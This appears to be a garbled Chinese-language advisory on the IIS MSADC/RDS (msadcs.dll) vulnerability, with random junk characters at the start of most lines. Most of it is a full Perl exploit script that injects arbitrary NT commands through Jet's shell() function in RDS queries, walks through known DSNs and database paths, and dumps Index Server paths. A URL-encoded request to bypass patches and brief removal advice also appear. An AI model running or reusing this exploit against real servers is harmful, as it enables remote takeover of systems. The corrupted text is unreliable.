IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&!_ >J0 T2GJ oJ! 涉及程序：
(;\JCeGA Microsoft NT server
{o AJL o[aRG7C 描述：
fE,\1LK4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^k/@y@%
dCN4aY[d 详细：
K%)u zP 如果你没有时间读详细内容的话，就删除:
] vQ n*T"^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
kk&
([ xqU 有关的安全问题就没有了。
<$R'y6U : SK#; /fav6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
'jqkDPn o^H.uBO{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'8PZmS8X9 关于利用ODBC远程漏洞的描述，请参看:
B/AS|i] sM >,7 -cm=. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,x&T8o/a #,lJ>mTe4 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
[s"xOP9R http://www.microsoft.com/security/bulletins/MS99-025faq.asp AfB,`l`k s&TPG0W 这里不再论述。
AKu]c- *7FtE k/l 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Gu-6~^Km9 W:' H&`0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
G*J asHFs 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^,*!Qk<c BRyrdt*_e tP^2NTs%] #将下面这段保存为txt文件，然后: "perl -x 文件名"
Z0 @P1 S8 .1%sw #!perl
=~15q=XY0 #
c<fl6o) # MSADC/RDS 'usage' (aka exploit) script
\AQ*T`Dq #
B _k+Oa2! # by rain.forest.puppy
v4OroG =^ #
#-W
a3P # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
N" L@ # beta test and find errors!
9bwG3jn4? 8`Ih>
D c use Socket; use Getopt::Std;
QbrR=[8b getopts("e:vd:h:XR", \%args);
[3o^06V8j #% 5[8~& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{el[W,CT# D?A3p6% if (!defined $args{h} && !defined $args{R}) {
h6`v%7H? print qq~
]O]6O%.ao Usage: msadc.pl -h <host> { -d <delay> -X -v }
G
LU7?2`t -h <host> = host you want to scan (ip or domain)
WCRGqSr4
-d <seconds> = delay between calls, default 1 second
+`=rzL"0I7 -X = dump Index Server path table, if available
~+
[T{{ -v = verbose
@kBy|5 -e = external dictionary file for step 5
~)vq0]MRg oR[-F+__ Or a -R will resume a command session
1)Z4
(_ '3R o`p{ ~; exit;}
;#)sV2F\& Cs9o_Z~ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
C)hS^ D: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7!F<Uf,V3 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
l^!raoH]q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
= Zi'L48 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1# }}: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
&65I
6 e>J.r("f if (!defined $args{R}){ $ret = &has_msadc;
1 {1 5#W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"d"6.ND cb8 2k[L6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
46 [k9T . "cmd /c ";
JIL(\ d $in=<STDIN>; chomp $in;
'nJ,mZx $command="cmd /c " . $in ;
a1#",%{I vL I'Z)\ if (defined $args{R}) {&load; exit;}
tw
k b=+3/-d print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
T$!Pkdh &try_btcustmr;
9q[ d?1 V10JExsJ print "\nStep 2: Trying to make our own DSN...";
;r?s7b/> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
wNvq['P Ky[s& >02 print "\nStep 3: Trying known DSNs...";
N||a0& & &known_dsn;
lq}m0}9< 4p<c|(f# print "\nStep 4: Trying known .mdbs...";
)kIZm Q|f1 &known_mdb;
F a0Fl}L uxx ( WS if (defined $args{e}){
!:2_y'hA print "\nStep 5: Trying dictionary of DSN names...";
f D3>g{ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F81Kxcs {Ri6975 print "Sorry Charley...maybe next time?\n";
2=IZD `{! exit;
s.$:.*k JCjV, ##############################################################################
cB0"vbdO -J":'xCP! sub sendraw { # ripped and modded from whisker
Lr j p sleep($delay); # it's a DoS on the server! At least on mine...
z"\<GmvB my ($pstr)=@_;
f1AO<>I; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j 4%\'xj: die("Socket problems\n");
-[}Ah NYK if(connect(S,pack "SnA4x8",2,80,$target)){
& iO53I^r/ select(S); $|=1;
zD@RW<M print $pstr; my @in=<S>;
NjFlV(XT} select(STDOUT); close(S);
o)WzZ,\F^J return @in;
Hu LvMYF } else { die("Can't connect...\n"); }}
AGhr(\j R!>l7p/|H) ##############################################################################
1EMrXnv, QC Jf sub make_header { # make the HTTP request
h^v+d*R
N my $msadc=<<EOT
E3V_qT8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^6@6BYf) User-Agent: ACTIVEDATA
;iA$yw: Host: $ip
m^$KDrkD Content-Length: $clen
K |^OnM Connection: Keep-Alive
p'4ZcCW?f |-9##0H ADCClientVersion:01.06
9}T(m(WQVu Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*RD< *l ~--b#o { --!ADM!ROX!YOUR!WORLD!
6
m%/3>q Content-Type: application/x-varg
/"@k_[O Content-Length: $reqlen
9]gV#uF LS/ZZAN u EOT
8a;;MJ) ; $msadc=~s/\n/\r\n/g;
.R^q$U~v 3 return $msadc;}
.A F94OlE/ +WE<S)z< ##############################################################################
th|'t}bWV &[t} /+) sub make_req { # make the RDS request
)1/J5DI @8 my ($switch, $p1, $p2)=@_;
_};T:GOT my $req=""; my $t1, $t2, $query, $dsn;
F;E Lsg Bq~?!~\?. if ($switch==1){ # this is the btcustmr.mdb query
CqLAtS X7 $query="Select * from Customers where City=" . make_shell();
8Xa{. y" $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_iH:>2p 5R $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lm8<0*;, ({<qs}H" elsif ($switch==2){ # this is general make table query
| MXRNA~ $query="create table AZZ (B int, C varchar(10))";
_^h? JT U^ $dsn="$p1";}
QSx4M ]]hsLOM] elsif ($switch==3){ # this is general exploit table query
EouI S2e;a $query="select * from AZZ where C=" . make_shell();
&; [0. :; $dsn="$p1";}
w|U 7pUz P\3H<?@4 elsif ($switch==4){ # attempt to hork file info from index server
NKYH Jf2?x $query="select path from scope()";
QV8;c^EZ $dsn="Provider=MSIDXS;";}
DI\^&F)3T2 08z?i elsif ($switch==5){ # bad query
`08}y*E $query="select";
_ ]M : $dsn="$p1";}
k&= iye( qf*e2" ~v $t1= make_unicode($query);
]#\/1!W $t2= make_unicode($dsn);
3J[ 5^ $req = "\x02\x00\x03\x00";
Uc0Sb $req.= "\x08\x00" . pack ("S1", length($t1));
]GiDfYs7% $req.= "\x00\x00" . $t1 ;
\4|osZ0y $req.= "\x08\x00" . pack ("S1", length($t2));
e0g>.P@6 $req.= "\x00\x00" . $t2 ;
'ALe>\WO $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
r5 Xi2! return $req;}
nXW]9zC"/ ^}4ysw ##############################################################################
-^,wQW:o) 2+C 8w%F8 sub make_shell { # this makes the shell() statement
y^:6D(SR return "'|shell(\"$command\")|'";}
W;T (q~XK ?m h0 ^G ##############################################################################
M5{vYk>,1Q SXRND;-W8 sub make_unicode { # quick little function to convert to unicode
w V"C ,*V my ($in)=@_; my $out;
d=a$Gd_$ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+pjU4>) return $out;}
*}Gu'EU ?j$*a7[w ##############################################################################
\l?.VE D T2}ccnD i sub rdo_success { # checks for RDO return success (this is kludge)
-hKtd3WbT my (@in) = @_; my $base=content_start(@in);
, QHn} 3fW if($in[$base]=~/multipart\/mixed/){
~p$ncIr2Q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
W4S]2P>T return 0;}
9|2LuHQu+ ~c'R7E&Bfa ##############################################################################
eQsoZQA1 F
<.} q|b sub make_dsn { # this makes a DSN for us
C-;}a%c" my @drives=("c","d","e","f");
p/?TU print "\nMaking DSN: ";
:snn-e0l foreach $drive (@drives) {
}>m3V2>[ print "$drive: ";
N4wMAT:h my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&$. x1$% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
y5:al7*P . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
MJ~)CiKgN $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
`bEum3l\6] return 0 if $2 eq "404"; # not found/doesn't exist
-P$E)5?^ if($2 eq "200") {
Yd$64d7,h foreach $line (@results) {
N0&#fXO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
nXxSv ~r } return 0;}
5h>t4 [~ /[Sy;wn ##############################################################################
UdX aC= Q OuU ]A[r sub verify_exists {
?r}!d2:dX my ($page)=@_;
AK5$>Pkvk my @results=sendraw("GET $page HTTP/1.0\n\n");
m NAp FwZ return $results[0];}
>Av%[G5=h# J9`[Qy\ ##############################################################################
Q)Zk UmW 0:k ~ lz sub try_btcustmr {
*,p16"Q; my @drives=("c","d","e","f");
V r<ypyC my @dirs=("winnt","winnt35","winnt351","win","windows");
D(gpF85t O :(%m foreach $dir (@dirs) {
QLAyX*%B print "$dir -> "; # fun status so you can see progress
TkV$h(#!f& foreach $drive (@drives) {
g bwg3$!9 print "$drive: "; # ditto
!Mk:rO-L $reqlen=length( make_req(1,$drive,$dir) ) - 28;
,__|SnA. $reqlenlen=length( "$reqlen" );
91bJ 7% $clen= 206 + $reqlenlen + $reqlen;
x_|: 3I &<%U7?{~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
1Qgd^o:d if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
IXmO1*o@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
d
3 } 'J b{K w.?85 ##############################################################################
1" >]w2je: -Fs^^={Q sub odbc_error {
blA]z!FU my (@in)=@_; my $base;
2F#R;B#2 my $base = content_start(@in);
r&-I r3[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>SZ9,K4Gs $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
nW
(wu!2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;j/-ndd&& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6'N!)b^- return $in[$base+4].$in[$base+5].$in[$base+6];}
)04lf*ti print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
';?b99 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
R0*+GIRA( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
O[fgn;@| ]]Da/^K=Z ##############################################################################
eX>X=Ku JSQ*8wDcl sub verbose {
84*Fal~Som my ($in)=@_;
tr\Vr;zd return if !$verbose;
!j.jvI%e; print STDOUT "\n$in\n";}
D?_#6i;DJ g$ *V A} s ##############################################################################
zorT Z #5 /< CjBW: sub save {
q> q@ztt my ($p1, $p2, $p3, $p4)=@_;
'3@WF2a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6'6@VB print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
>AW=N close OUT;}
'2%/ h4jY Y">;2Pt; ##############################################################################
*ad"3> \$h LhYz- sub load {
t9()?6H\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Xsc5 @ O! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
HSOdqjR* @p=<IN>; close(IN);
[\&Mo]"0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0|:Ic , $target= inet_aton($ip) || die("inet_aton problems");
_r|$H_# print "Resuming to $ip ...";
M_4g% uHG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
uOrvmb if($p[1]==1) {
W+~ w $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.SdEhW15) $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wQ,RZO3 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"ppT<8Qi' if (rdo_success(@results)){print "Success!\n";}
VPTT* a` else { print "failed\n"; verbose(odbc_error(@results));}}
)Cz^X p)# elsif ($p[1]==3){
=#< hT
s if(run_query("$p[3]")){
'go jP print "Success!\n";} else { print "failed\n"; }}
_ QM elsif ($p[1]==4){
l% A~3 if(run_query($drvst . "$p[3]")){
}x1mpPND print "Success!\n"; } else { print "failed\n"; }}
Sn/~R|3XA7 exit;}
G JItGq`) (r.{v@h,dV ##############################################################################
m!:7ur:Y 0\jOg sub create_table {
3Fn26Ri j my ($in)=@_;
7
v<$l $reqlen=length( make_req(2,$in,"") ) - 28;
#?i#q%q $reqlenlen=length( "$reqlen" );
y=\jQ6Fc $clen= 206 + $reqlenlen + $reqlen;
Tc)T0dRP my @results=sendraw(make_header() . make_req(2,$in,""));
BifA&o% return 1 if rdo_success(@results);
~&~%q u my $temp= odbc_error(@results); verbose($temp);
%1]2+_6 return 1 if $temp=~/Table 'AZZ' already exists/;
l1N{ ujM return 0;}
;NRT
a* 43-%")bH ##############################################################################
8 8U4I |7/B20 sub known_dsn {
#~.i\|VL # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/)de`k" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7Yxy2[ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!o4xI? "banner", "banners", "ads", "ADCDemo", "ADCTest");
asW1GZO ,/W< E foreach $dSn (@dsns) {
lrh6lt) print ".";
fu=}E5ScK next if (!is_access("DSN=$dSn"));
tT yu, %/m if(create_table("DSN=$dSn")){
.KT+,Y print "$dSn successful\n";
c)SSi@<
cv if(run_query("DSN=$dSn")){
:*&wnQMKR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
im+2)9f print "Something's borked. Use verbose next time\n";}}} print "\n";}
_'H< zZo n/8Kb.V f ##############################################################################
}C7tlA8,7 #s#z@F sub is_access {
i? AZ| Ha[ my ($in)=@_;
Lx?bO`=qg7 $reqlen=length( make_req(5,$in,"") ) - 28;
L238 l $reqlenlen=length( "$reqlen" );
54J<ZXCs
$clen= 206 + $reqlenlen + $reqlen;
`z` `d*_ my @results=sendraw(make_header() . make_req(5,$in,""));
@mJN my $temp= odbc_error(@results);
9'toj%XQ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Hs=!.tZ, return 0;}
{|xwvTl J qW7"qw= ##############################################################################
NTL#! ;$&-c/]F# sub run_query {
sD{b0mZT my ($in)=@_;
pN0c'COy^ $reqlen=length( make_req(3,$in,"") ) - 28;
`6mHt6 "h $reqlenlen=length( "$reqlen" );
f aO8
& $clen= 206 + $reqlenlen + $reqlen;
UWn}0:6t my @results=sendraw(make_header() . make_req(3,$in,""));
i8B%|[ nm return 1 if rdo_success(@results);
cfeX (0 my $temp= odbc_error(@results); verbose($temp);
+X*`}-3 return 0;}
FYcMvY ZV p\ 5V* ##############################################################################
&{]% =stI @su{Uno8/ sub known_mdb {
qfSoF| my @drives=("c","d","e","f","g");
{sm={ q my @dirs=("winnt","winnt35","winnt351","win","windows");
d B lOU.B my $dir, $drive, $mdb;
U*&ZQw my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b=|&0B$E |}M']V z # this is sparse, because I don't know of many
9x?;;qC"m9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
K%=n \ Y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}=;>T)QmMO "\\system32\\certmdb.mdb",
R\.huOJh "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
doR'=@ W a ^)Mx9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
b(Z%#*e "\\cfusion\\cfapps\\forums\\forums_.mdb",
n/,7ryu "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
k@8#By l| "\\cfusion\\cfapps\\security\\realm_.mdb",
|O4A+S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
7t04!dD} "\\cfusion\\database\\cfexamples.mdb",
oo Z-T>$ "\\cfusion\\database\\cfsnippets.mdb",
%UQ?k:aWp| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
qz0v1057# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
4[J3HLQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
,#wVqBEk "\\cfusion\\database\\smpolicy.mdb",
7l VIN&.= "\\cfusion\\database\cypress.mdb",
#Y5I_:k "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
F 7;xf{n< "\\website\\cgi-win\\dbsample.mdb",
S-rqrbr|AT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
t JwF
h6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
l#~Fe D ); #these are just
40#KcbMa| foreach $drive (@drives) {
7
YK+TGmU^ foreach $dir (@dirs){
Nu_ w@T\l foreach $mdb (@sysmdbs) {
G wW#Ww;Oc print ".";
kQ#eWk J, if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4C*3#/TR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`>sqP aD if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
DYWC]* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4 iLU "~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
iO!lG ,{Ab=xV foreach $drive (@drives) {
dJLJh*=AG foreach $mdb (@mdbs) {
sd[QtK^ print ".";
R82Y&s; if(create_table($drv . $drive . $dir . $mdb)){
kH&ZP AI print "\n" . $drive . $dir . $mdb . " successful\n";
fjWh}w8 if(run_query($drv . $drive . $dir . $mdb)){
gNqV>p print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2 YN` :" } else { print "Something's borked. Use verbose next time\n"; }}}}
F vJSJ.;E, }
GBphab| llleo8 ##############################################################################
k_a'a)`$6 ob00(?;H sub hork_idx {
NZTYT \7 print "\nAttempting to dump Index Server tables...\n";
'u3+k. print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?
w?k-v $reqlen=length( make_req(4,"","") ) - 28;
`{wku@ $reqlenlen=length( "$reqlen" );
kW!:bh $clen= 206 + $reqlenlen + $reqlen;
=P#!>*\ar my @results=sendraw2(make_header() . make_req(4,"",""));
\a6)t%u if (rdo_success(@results)){
9/$P_Q:3 my $max=@results; my $c; my %d;
zOE6;c8 1 for($c=19; $c<$max; $c++){
Nb#7&_f= $results[$c]=~s/\x00//g;
iTt=aQjd $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>1~`tP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
btF%}<o) $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_B1uE2j9 $d{"$1$2"}="";}
J: lwq@u foreach $c (keys %d){ print "$c\n"; }
-*lP1Nbp } else {print "Index server doesn't seem to be installed.\n"; }}
V`M,d~:Pr" ,xz^ k/. ##############################################################################
68c;Vb yy } 0_ sub dsn_dict {
|d5L
Ifb( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-{*V)J_Co while(<IN>){
DXz8C - $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-(uB TO s next if (!is_access("DSN=$dSn"));
BLH=:zb5 if(create_table("DSN=$dSn")){
:'dc=C print "$dSn successful\n";
X}-H=1T? if(run_query("DSN=$dSn")){
f`,Hr?H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.O#lab`:2 print "Something's borked. Use verbose next time\n";}}}
YgiGI
<U print "\n"; close(IN);}
ee_\_" Tqa4~|6 ##############################################################################
9A Ye, R @c !67Z sub sendraw2 { # ripped and modded from whisker
4) 3pa * sleep($delay); # it's a DoS on the server! At least on mine...
H ZLOn my ($pstr)=@_;
lDU:EJ&DHE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!5OMAWNU@ die("Socket problems\n");
BNCJT$t YX if(connect(S,pack "SnA4x8",2,80,$target)){
sOxdq"E print "Connected. Getting data";
t60/f&A#7H open(OUT,">raw.out"); my @in;
+7/*y}.U select(S); $|=1; print $pstr;
`Y\/US70{c while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9 `v:$ (I close(OUT); select(STDOUT); close(S); return @in;
ZY!pw6R1>* } else { die("Can't connect...\n"); }}
IJc#)J.2A _~nex,;r ##############################################################################
R{o*O_qX #@6L|$i X sub content_start { # this will take in the server headers
c2\vG my (@in)=@_; my $c;
)Zf}V0!?+ for ($c=1;$c<500;$c++) {
N#)VD\m if($in[$c] =~/^\x0d\x0a/){
G`#gV"PlC if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:3>yr5a 7- else { return $c+1; }}}
L [G\+ return -1;} # it should never get here actually
5SL>q`t.bd wmr%h q ##############################################################################
b2= Q~=Wc '<=MhNh\ sub funky {
D
Ok^ON my (@in)=@_; my $error=odbc_error(@in);
aaug u.9 if($error=~/ADO could not find the specified provider/){
I! 7.fuO print "\nServer returned an ADO miscofiguration message\nAborting.\n";
W:poUG1UR exit;}
/e sk if($error=~/A Handler is required/){
m=.7f9 print "\nServer has custom handler filters (they most likely are patched)\n";
OEE{J VeI exit;}
=P;;&j3Z if($error=~/specified Handler has denied Access/){
'>|*j"jv- print "\nServer has custom handler filters (they most likely are patched)\n";
Kc[u}
. U exit;}}
).!14Gjo @
KPv&UB ##############################################################################
e~s7ggg2k '+I
2$xE sub has_msadc {
K}=8:BaUL my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
UVCMB_T my $base=content_start(@results);
01c/;B return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
X_({};mz return 0;}
W x|6A#cg! <o aBh)=7 ########################
}
o"_ #\6 . 02(O =@KY A(D 解决方案：
T{H#]BF<E 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4Eh BpTg
2、移除web 目录: /msadc
